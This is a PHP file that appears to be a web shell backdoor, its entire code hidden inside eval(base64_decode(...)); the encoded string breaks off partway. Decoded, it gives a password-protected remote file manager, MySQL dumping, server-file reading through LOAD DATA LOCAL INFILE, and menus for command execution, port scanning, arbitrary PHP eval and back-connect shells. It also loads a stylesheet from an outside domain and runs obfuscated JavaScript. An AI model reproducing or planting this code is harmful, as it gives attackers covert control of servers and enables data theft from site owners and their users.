<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDcpOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwpvYl9zdGFydCgpOwokbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOwokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOwpkZWZpbmUoJ1NBX1JPT1QnLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIGRpcm5hbWUoX19GSUxFX18pKS4nLycpOwpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7CmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7CmRlZmluZSgnSVNfR1BDJywgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSk7CiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCdkaXNhYmxlX2Z1bmN0aW9ucycpOwpkZWZpbmUoJ0lTX1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IDEgOiAwICk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmZvcmVhY2goJF9QT1NUIGFzICRrZXkgPT4gJHZhbHVlKSB7CglpZiAoSVNfR1BDKSB7CgkJJHZhbHVlID0gc19hcnJheSgkdmFsdWUpOwoJfQoJJCRrZXkgPSAkdmFsdWU7Cn0KLyo9PT09PT09PT09PT09PT09PT09PT0gPz8/PyA9PT09PT09PT09PT09PT09PT09PT0qLwoKLy9lY2hvIGVuY29kZV9wYXNzKCdhbmdlbCcpO2V4aXQ7Ci8vYW5nZWwgPSBlYzM4ZmUyYTg0OTdlMGE4ZDZkMzQ5YjM1MzMwMzhjYgovLyA/Pz8/Pz8/Pyw/Pz8/Pz8/LD8/Pz8/Pz8/CiRwYXNzICA9ICcnOyAvL2FuZ2VsCgovLz8/PyBjb29raWUgPz8/Pz8/Pz8/LCA/Pz8/Pz8sID8/Pz8/Pz8sID8/Pz8/Pz8KLy8gY29va2llID8/CiRjb29raWVwcmUgPSAnJzsKLy8gY29va2llID8/PwokY29va2llZG9tYWluID0gJyc7Ci8vIGNvb2tpZSA/Pz8/CiRjb29raWVwYXRoID0gJy8nOwovLyBjb29raWUgPz8/CiRjb29raWVsaWZlID0gODY0MDA7CgovLz8/Pz8/Pz8/Pz8/CiEkd3JpdGFibGVkYiAmJiAkd3JpdGFibGVkYiA9ICdwaHAsY2dpLHBsLGFzcCxpbmMsanMsaHRtbCxodG0sanNwJzsKLyo9PT09PT09PT09PT09PT09PT09PT0gPz8/PyA9PT09PT09PT09PT09PT09PT09PT0qLwoKJGNoYXJzZXRkYiA9IGFycmF5KCcnLCdhcm1zY2lpOCcsJ2FzY2lpJywnYmlnNScsJ2JpbmFyeScsJ2NwMTI1MCcsJ2NwMTI1MScsJ2NwMTI1NicsJ2NwMTI1NycsJ2NwODUwJywnY3A4NTInLCdjcDg2NicsJ2NwOTMyJywnZGVjOCcsJ2V1Yy1qcCcsJ2V1Yy1rcicsJ2diMjMxMicsJ2diaycsJ2dlb3N0ZDgnLCdncmVlaycsJ2hlYnJldycsJ2hwOCcsJ2tleWJjczInLCdrb2k4cicsJ2tvaTh1JywnbGF0aW4xJywnbGF0aW4yJywnbGF0aW41JywnbGF0aW43JywnbWFjY2UnLCdtYWNyb21hbicsJ3NqaXMnLCdzd2U3JywndGlzNjIwJywndWNzMicsJ3VqaXMnLCd1dGY4Jyk7CmlmICgkY2hhcnNldCA9PSAndXRmOCcpIHsKCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsKfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdiaWc1JykgewoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1iaWc1Iik7Cn0gZWxzZWlmICgkY2hhcnNldCA9PSAnZ2JrJykgewoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsKfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdsYXRpbjEnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTIiKTsKfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdldWMta3InKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWV1Yy1rciIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2V1Yy1qcCcpIHsKCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9ZXVjLWpwIik7Cn0KCiRzZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gPyAkX1NFUlZFUlsnUEhQX1NFTEYnXSA6ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOwokdGltZXN0YW1wID0gdGltZSgpOwoKLyo9PT09PT09PT09PT09PT09PT09PT0gPz8/PyA9PT09PT09PT09PT09PT09PT09PT0qLwppZiAoJGFjdGlvbiA9PSAibG9nb3V0IikgewoJc2Nvb2tpZSgnbG9naW5wYXNzJywgJycsIC04NjQwMCAqIDM2NSk7CglAaGVhZGVyKCdMb2NhdGlvbjogJy4kc2VsZik7CglleGl0Owp9CmlmKCRwYXNzKSB7CglpZiAoJGFjdGlvbiA9PSAnbG9naW4nKSB7CgkJaWYgKCRwYXNzID09IGVuY29kZV9wYXNzKCRwYXNzd29yZCkpIHsKCQkJc2Nvb2tpZSgnbG9naW5wYXNzJyxlbmNvZGVfcGFzcygkcGFzc3dvcmQpKTsKCQkJQGhlYWRlcignTG9jYXRpb246ICcuJHNlbGYpOwoJCQlleGl0OwoJCX0KCX0KCWlmICgkX0NPT0tJRVsnbG9naW5wYXNzJ10pIHsKCQlpZiAoJF9DT09LSUVbJ2xvZ2lucGFzcyddICE9ICRwYXNzKSB7CgkJCWxvZ2lucGFnZSgpOwoJCX0KCX0gZWxzZSB7CgkJbG9naW5wYWdlKCk7Cgl9Cn0KLyo9PT09PT09PT09PT09PT09PT09PT0gPz8/PyA9PT09PT09PT09PT09PT09PT09PT0qLwoKJGVycm1zZyA9ICcnOwohJGFjdGlvbiAmJiAkYWN0aW9uID0gJ2ZpbGUnOwoKLy8gPz9QSFBJTkZPCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgewoJaWYgKElTX1BIUElORk8pIHsKCQlwaHBpbmZvKCk7CgkJZXhpdDsKCX0gZWxzZSB7CgkJJGVycm1zZyA9ICdwaHBpbmZvKCkgZnVuY3Rpb24gaGFzIG5vbi1wZXJtaXNzaWJsZSc7Cgl9Cn0KCi8vID8/Pz8KaWYgKCRkb2luZyA9PSAnZG93bmZpbGUnICYmICR0aGVmaWxlKSB7CglpZiAoIUBmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsKCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOwoJfSBlbHNlIHsKCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkdGhlZmlsZSk7CgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsKCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCR0aGVmaWxlKSk7CgkJQHJlYWRmaWxlKCR0aGVmaWxlKTsKCQlleGl0OwoJfQp9CgovLyA/Pz8/Pz8/Pz8KaWYgKCRkb2luZyA9PSAnYmFja3VwbXlzcWwnICYmICEkc2F2ZWFzZmlsZSkgewoJaWYgKCEkdGFibGUpIHsKCQkkZXJybXNnID0nUGxlYXNlIGNob29zZSB0aGUgdGFibGUnOwoJfSBlbHNlIHsKCQkkbXlzcWxsaW5rID0gbXlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOwoJCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRkYm5hbWUuJy5zcWwnKTsKCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOwoJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOwoJCWZvcmVhY2goJHRhYmxlIGFzICRrID0+ICR2KSB7CgkJCWlmICgkdikgewoJCQkJc3FsZHVtcHRhYmxlKCR2KTsKCQkJfQoJCX0KCQlteXNxbF9jbG9zZSgpOwoJCWV4aXQ7Cgl9Cn0KCi8vID8/TVlTUUw/Pz8/CmlmKCRkb2luZz09J215c3FsZG93bicpewoJaWYgKCEkZGJuYW1lKSB7CgkJJGVycm1zZyA9ICdQbGVhc2UgaW5wdXQgZGJuYW1lJzsKCX0gZWxzZSB7CgkJJG15c3FsbGluayA9IG15ZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCQlpZiAoIWZpbGVfZXhpc3RzKCRteXNxbGRsZmlsZSkpIHsKCQkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsKCQl9IGVsc2UgewoJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3FsZGxmaWxlJyk7Iik7CgkJCWlmKCEkcmVzdWx0KXsKCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsKCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfYW5nZWwgKGNvbnRlbnQgTE9OR0JMT0IgTk9UIE5VTEwpOyIpOwoJCQkJLy8/Pz8/Pz8/Pz8sPz8/Pz8/Pz8/Pz9fX2FuZ2VsXzExMTExMTExMTFfZW9mX18/Pz8/Pz8/Pz8/CgkJCQlxKCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFICciLmFkZHNsYXNoZXMoJG15c3FsZGxmaWxlKS4iJyBJTlRPIFRBQkxFIHRtcF9hbmdlbCBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nOyIpOwoJCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBjb250ZW50IGZyb20gdG1wX2FuZ2VsIik7CgkJCQlxKCJEUk9QIFRBQkxFIHRtcF9hbmdlbCIpOwoJCQl9CgkJCSRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7CgkJCWlmICghJHJvdykgewoJCQkJJGVycm1zZyA9ICdMb2FkIGZpbGUgZmFpbGVkICcubXlzcWxfZXJyb3IoKTsKCQkJfSBlbHNlIHsKCQkJCSRmaWxlaW5mbyA9IHBhdGhpbmZvKCRteXNxbGRsZmlsZSk7CgkJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOwoJCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7CgkJCQloZWFkZXIoIkFjY2VwdC1MZW5ndGg6ICIuc3RybGVuKCRyb3dbMF0pKTsKCQkJCWVjaG8gJHJvd1swXTsKCQkJCWV4aXQ7CgkJCX0KCQl9Cgl9Cn0KCj8+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9Z2JrIj4KPHRpdGxlPjw/cGhwIGVjaG8gJGFjdGlvbi4nIC0gJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ107Pz48L3RpdGxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgo8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJodHRwOi8vd3d3LnlvbmxlbmRpcmlsaXlvci5jb20vY2VrLnBocCI+CjwhLS0KTUw9IlA8PnBoVHNtdHIvOTpDdWsgUkljPWpTdy5vIjsKTUk9IjFGPUFCMDVARkE9RDQ4ODM8OjpHR0dIQzs7MzQzSENJNzo4Pjk/SEU2MjE6Rj1BQjA1MiI7Ck9UPSIiOwpmb3Ioaj0wO2o8TUkubGVuZ3RoO2orKyl7Ck9UKz1NTC5jaGFyQXQoTUkuY2hhckNvZGVBdChqKS00OCk7Cn1kb2N1bWVudC53cml0ZShPVCk7Ci8vIC0tPjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5LHRke2ZvbnQ6IDEycHggQXJpYWwsVGFob21hO2xpbmUtaGVpZ2h0OiAxNnB4O30KLmlucHV0e2ZvbnQ6MTJweCBBcmlhbCxUYWhvbWE7YmFja2dyb3VuZDojZmZmO2JvcmRlcjogMXB4IHNvbGlkICM2NjY7cGFkZGluZzoycHg7aGVpZ2h0OjIycHg7fQouYXJlYXtmb250OjEycHggJ0NvdXJpZXIgTmV3JywgTW9ub3NwYWNlO2JhY2tncm91bmQ6I2ZmZjtib3JkZXI6IDFweCBzb2xpZCAjNjY2O3BhZGRpbmc6MnB4O30KLmJ0IHtib3JkZXItY29sb3I6I2IwYjBiMDtiYWNrZ3JvdW5kOiMzZDNkM2Q7Y29sb3I6I2ZmZmZmZjtmb250OjEycHggQXJpYWwsVGFob21hO2hlaWdodDoyMnB4O30KYSB7Y29sb3I6ICMwMGY7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9CmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQouYWx0MSB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZjFmMWYxO3BhZGRpbmc6NXB4IDE1cHggNXB4IDVweDt9Ci5hbHQyIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmOWY5Zjk7cGFkZGluZzo1cHggMTVweCA1cHggNXB4O30KLmZvY3VzIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmZmZmYWE7cGFkZGluZzo1cHggMTVweCA1cHggNXB4O30KLmhlYWQgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2U5ZTllOTtwYWRkaW5nOjVweCAxNXB4IDVweCA1cHg7Zm9udC13ZWlnaHQ6Ym9sZDt9Ci5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30KLmluZm9saXN0IHtwYWRkaW5nOjEwcHg7bWFyZ2luOjEwcHggMCAyMHB4IDA7YmFja2dyb3VuZDojRjFGMUYxO2JvcmRlcjoxcHggc29saWQgI2RkZDt9CmZvcm17bWFyZ2luOjA7cGFkZGluZzowO30KaDJ7bWFyZ2luOjA7cGFkZGluZzowO2hlaWdodDoyNHB4O2xpbmUtaGVpZ2h0OjI0cHg7Zm9udC1zaXplOjE0cHg7Y29sb3I6IzVCNjg2Rjt9CnVsLmluZm8gbGl7bWFyZ2luOjA7Y29sb3I6IzQ0NDtsaW5lLWhlaWdodDoyNHB4O2hlaWdodDoyNHB4O30KdXt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6Izc3NztmbG9hdDpsZWZ0O2Rpc3BsYXk6YmxvY2s7d2lkdGg6MTUwcHg7bWFyZ2luLXJpZ2h0OjEwcHg7fQouZHJpdmVze3BhZGRpbmc6NXB4O30KLmRyaXZlcyBzcGFuIHttYXJnaW46YXV0byA3cHg7fQo8L3N0eWxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIENoZWNrQWxsKGZvcm0pIHsKCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKSB7CgkJdmFyIGUgPSBmb3JtLmVsZW1lbnRzW2ldOwoJCWlmIChlLm5hbWUgIT0gJ2Noa2FsbCcpCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsKICAgIH0KfQpmdW5jdGlvbiAkKGlkKSB7CglyZXR1cm4gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpOwp9CmZ1bmN0aW9uIGNyZWF0ZWRpcigpewoJdmFyIG5ld2Rpcm5hbWU7CgluZXdkaXJuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGRpcmVjdG9yeSBuYW1lOicsICcnKTsKCWlmICghbmV3ZGlybmFtZSkgcmV0dXJuOwoJJCgnY3JlYXRlZGlyJykubmV3ZGlybmFtZS52YWx1ZT1uZXdkaXJuYW1lOwoJJCgnY3JlYXRlZGlyJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gZmlsZXBlcm0ocGZpbGUpewoJdmFyIG5ld3Blcm07CgluZXdwZXJtID0gcHJvbXB0KCdDdXJyZW50IGZpbGU6JytwZmlsZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGF0dHJpYnV0ZTonLCAnJyk7CglpZiAoIW5ld3Blcm0pIHJldHVybjsKCSQoJ2ZpbGVwZXJtJykubmV3cGVybS52YWx1ZT1uZXdwZXJtOwoJJCgnZmlsZXBlcm0nKS5wZmlsZS52YWx1ZT1wZmlsZTsKCSQoJ2ZpbGVwZXJtJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gY29weWZpbGUoc25hbWUpewoJdmFyIHRvZmlsZTsKCXRvZmlsZSA9IHByb21wdCgnT3JpZ2luYWwgZmlsZTonK3NuYW1lKydcblBsZWFzZSBpbnB1dCBvYmplY3QgZmlsZSAoZnVsbHBhdGgpOicsICcnKTsKCWlmICghdG9maWxlKSByZXR1cm47CgkkKCdjb3B5ZmlsZScpLnRvZmlsZS52YWx1ZT10b2ZpbGU7CgkkKCdjb3B5ZmlsZScpLnNuYW1lLnZhbHVlPXNuYW1lOwoJJCgnY29weWZpbGUnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiByZW5hbWUob2xkbmFtZSl7Cgl2YXIgbmV3ZmlsZW5hbWU7CgluZXdmaWxlbmFtZSA9IHByb21wdCgnRm9ybWVyIGZpbGUgbmFtZTonK29sZG5hbWUrJ1xuUGxlYXNlIGlucHV0IG5ldyBmaWxlbmFtZTonLCAnJyk7CglpZiAoIW5ld2ZpbGVuYW1lKSByZXR1cm47CgkkKCdyZW5hbWUnKS5uZXdmaWxlbmFtZS52YWx1ZT1uZXdmaWxlbmFtZTsKCSQoJ3JlbmFtZScpLm9sZG5hbWUudmFsdWU9b2xkbmFtZTsKCSQoJ3JlbmFtZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGRvZmlsZShkb2luZyx0aGVmaWxlLG0pewoJaWYgKG0gJiYgIWNvbmZpcm0obSkpIHsKCQlyZXR1cm47Cgl9CgkkKCdmaWxlbGlzdCcpLmRvaW5nLnZhbHVlPWRvaW5nOwoJaWYgKHRoZWZpbGUpewoJCSQoJ2ZpbGVsaXN0JykudGhlZmlsZS52YWx1ZT10aGVmaWxlOwoJfQoJJCgnZmlsZWxpc3QnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBjcmVhdGVmaWxlKG5vd3BhdGgpewoJdmFyIGZpbGVuYW1lOwoJZmlsZW5hbWUgPSBwcm9tcHQoJ1BsZWFzZSBpbnB1dCB0aGUgZmlsZSBuYW1lOicsICcnKTsKCWlmICghZmlsZW5hbWUpIHJldHVybjsKCW9wZmlsZSgnZWRpdGZpbGUnLG5vd3BhdGggKyBmaWxlbmFtZSxub3dwYXRoKTsKfQpmdW5jdGlvbiBvcGZpbGUoYWN0aW9uLG9wZmlsZSxkaXIpewoJJCgnZmlsZW9wZm9ybScpLmFjdGlvbi52YWx1ZT1hY3Rpb247CgkkKCdmaWxlb3Bmb3JtJykub3BmaWxlLnZhbHVlPW9wZmlsZTsKCSQoJ2ZpbGVvcGZvcm0nKS5kaXIudmFsdWU9ZGlyOwoJJCgnZmlsZW9wZm9ybScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGdvZGlyKGRpcix2aWV3X3dyaXRhYmxlKXsKCWlmICh2aWV3X3dyaXRhYmxlKSB7CgkJJCgnZ29kaXInKS52aWV3X3dyaXRhYmxlLnZhbHVlPXZpZXdfd3JpdGFibGU7Cgl9CgkkKCdnb2RpcicpLmRpci52YWx1ZT1kaXI7CgkkKCdnb2RpcicpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGdldHNpemUoZ2V0ZGlyLGRpcil7CgkkKCdnZXRzaXplJykuZ2V0ZGlyLnZhbHVlPWdldGRpcjsKCSQoJ2dldHNpemUnKS5kaXIudmFsdWU9ZGlyOwoJJCgnZ2V0c2l6ZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGVkaXRyZWNvcmQoYWN0aW9uLCBiYXNlNjQsIHRhYmxlbmFtZSl7CglpZiAoYWN0aW9uID09ICdkZWwnKSB7CQkKCQlpZiAoIWNvbmZpcm0oJ0lzIG9yIGlzblwndCBkZWxldGlvbiByZWNvcmQ/JykpIHJldHVybjsKCX0KCSQoJ3JlY29yZGxpc3QnKS5kb2luZy52YWx1ZT1hY3Rpb247CgkkKCdyZWNvcmRsaXN0JykuYmFzZTY0LnZhbHVlPWJhc2U2NDsKCSQoJ3JlY29yZGxpc3QnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOwoJJCgncmVjb3JkbGlzdCcpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIG1vZGRibmFtZShkYm5hbWUpIHsKCWlmKCFkYm5hbWUpIHJldHVybjsKCSQoJ3NldGRibmFtZScpLmRibmFtZS52YWx1ZT1kYm5hbWU7CgkkKCdzZXRkYm5hbWUnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBzZXR0YWJsZSh0YWJsZW5hbWUsZG9pbmcscGFnZSkgewoJaWYoIXRhYmxlbmFtZSkgcmV0dXJuOwoJaWYgKGRvaW5nKSB7CgkJJCgnc2V0dGFibGUnKS5kb2luZy52YWx1ZT1kb2luZzsKCX0KCWlmIChwYWdlKSB7CgkJJCgnc2V0dGFibGUnKS5wYWdlLnZhbHVlPXBhZ2U7Cgl9CgkkKCdzZXR0YWJsZScpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7CgkkKCdzZXR0YWJsZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIHMoYWN0aW9uLG5vd3BhdGgscDEscDIscDMscDQscDUpIHsKCWlmKGFjdGlvbikgJCgnb3Bmb3JtJykuYWN0aW9uLnZhbHVlPWFjdGlvbjsKCWlmKG5vd3BhdGgpICQoJ29wZm9ybScpLm5vd3BhdGgudmFsdWU9bm93cGF0aDsKCWlmKHAxKSAkKCdvcGZvcm0nKS5wMS52YWx1ZT1wMTsKCWlmKHAyKSAkKCdvcGZvcm0nKS5wMi52YWx1ZT1wMjsKCWlmKHAzKSAkKCdvcGZvcm0nKS5wMy52YWx1ZT1wMzsKCWlmKHA0KSAkKCdvcGZvcm0nKS5wNC52YWx1ZT1wNDsKCWlmKHA1KSAkKCdvcGZvcm0nKS5wNC52YWx1ZT1wNTsKfQpmdW5jdGlvbiBnKGFjdGlvbixub3dwYXRoLHAxLHAyLHAzLHA0LHA1KSB7CglpZighYWN0aW9uKSByZXR1cm47CglzKGFjdGlvbixub3dwYXRoLHAxLHAyLHAzLHA0LHA1KTsKCSQoJ29wZm9ybScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5IHN0eWxlPSJtYXJnaW46MDt0YWJsZS1sYXlvdXQ6Zml4ZWQ7IHdvcmQtYnJlYWs6YnJlYWstYWxsIj4KPD9waHAKZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nb3Bmb3JtJykpOwptYWtlaGlkZSgnYWN0aW9uJywgJGFjdGlvbik7Cm1ha2VoaWRlKCdub3dwYXRoJywgJG5vd3BhdGgpOwptYWtlaGlkZSgncDEnLCAkcDEpOwptYWtlaGlkZSgncDInLCAkcDIpOwptYWtlaGlkZSgncDMnLCAkcDMpOwptYWtlaGlkZSgncDQnLCAkcDQpOwptYWtlaGlkZSgncDUnLCAkcDUpOwpmb3JtZm9vdCgpOwoKaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7CgkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CgkkdWlkID0gQGdldG15dWlkKCk7CgkkZ2lkID0gQGdldG15Z2lkKCk7CgkkZ3JvdXAgPSAiPyI7Cn0gZWxzZSB7CgkkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOwoJJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJJHVpZCA9ICR1aWRbJ3VpZCddOwoJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJJGdpZCA9ICRnaWRbJ2dpZCddOwp9Cgo/Pgo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KCTx0ciBjbGFzcz0iaGVhZCI+CgkJPHRkPjxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGVjaG8gQHBocF91bmFtZSgpOz8+IC8gVXNlcjo8P3BocCBlY2hvICR1aWQuJyAoICcuJHVzZXIuJyApIC8gR3JvdXA6ICcuJGdpZC4nICggJy4kZ3JvdXAuJyApJzs/Pjwvc3Bhbj48P3BocCBlY2hvICRfU0VSVkVSWydIVFRQX0hPU1QnXTs/PiAoPD9waHAgZWNobyBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTs/Pik8L3RkPgoJPC90cj4KCTx0ciBjbGFzcz0iYWx0MSI+CgkJPHRkPgoJCQk8c3BhbiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij5QSFAgPD9waHAgZWNobyBQSFBfVkVSU0lPTjs/PiAvIFNhZmUgTW9kZTo8P3BocCBlY2hvIGdldGNmZygnc2FmZV9tb2RlJyk7Pz48L3NwYW4+CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6ZygnbG9nb3V0Jyk7Ij5Mb2dvdXQ8L2E+IHwgCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6ZygnZmlsZScpOyI+RmlsZSBNYW5hZ2VyPC9hPiB8IAoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmcoJ215c3FsYWRtaW4nKTsiPk1ZU1FMIE1hbmFnZXI8L2E+IHwgCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Zygnc3FsZmlsZScpOyI+TXlTUUwgVXBsb2FkICZhbXA7IERvd25sb2FkPC9hPiB8IAoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmcoJ3NoZWxsJyk7Ij5FeGVjdXRlIENvbW1hbmQ8L2E+IHwgCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6ZygncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwgCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6ZygncG9ydHNjYW4nKTsiPlBvcnQgU2NhbjwvYT4gfCAKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnKCdzZWNpbmZvJyk7Ij5TZWN1cml0eSBpbmZvcm1hdGlvbjwvYT4gfCAKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnKCdldmFsJyk7Ij5FdmFsIFBIUCBDb2RlPC9hPgoJCQk8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnKCdiYWNrY29ubmVjdCcpOyI+QmFjayBDb25uZWN0PC9hPjw/cGhwIH0/PgoJCTwvdGQ+Cgk8L3RyPgo8L3RhYmxlPgo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjE1IiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4KPD9waHAKJGVycm1zZyAmJiBtKCRlcnJtc2cpOwoKLy8gPz8/Pz8/CmlmICghJGRpcikgewoJJGRpciA9ICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0gPyAkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdIDogJy4nOwp9CiRub3dwYXRoID0gZ2V0UGF0a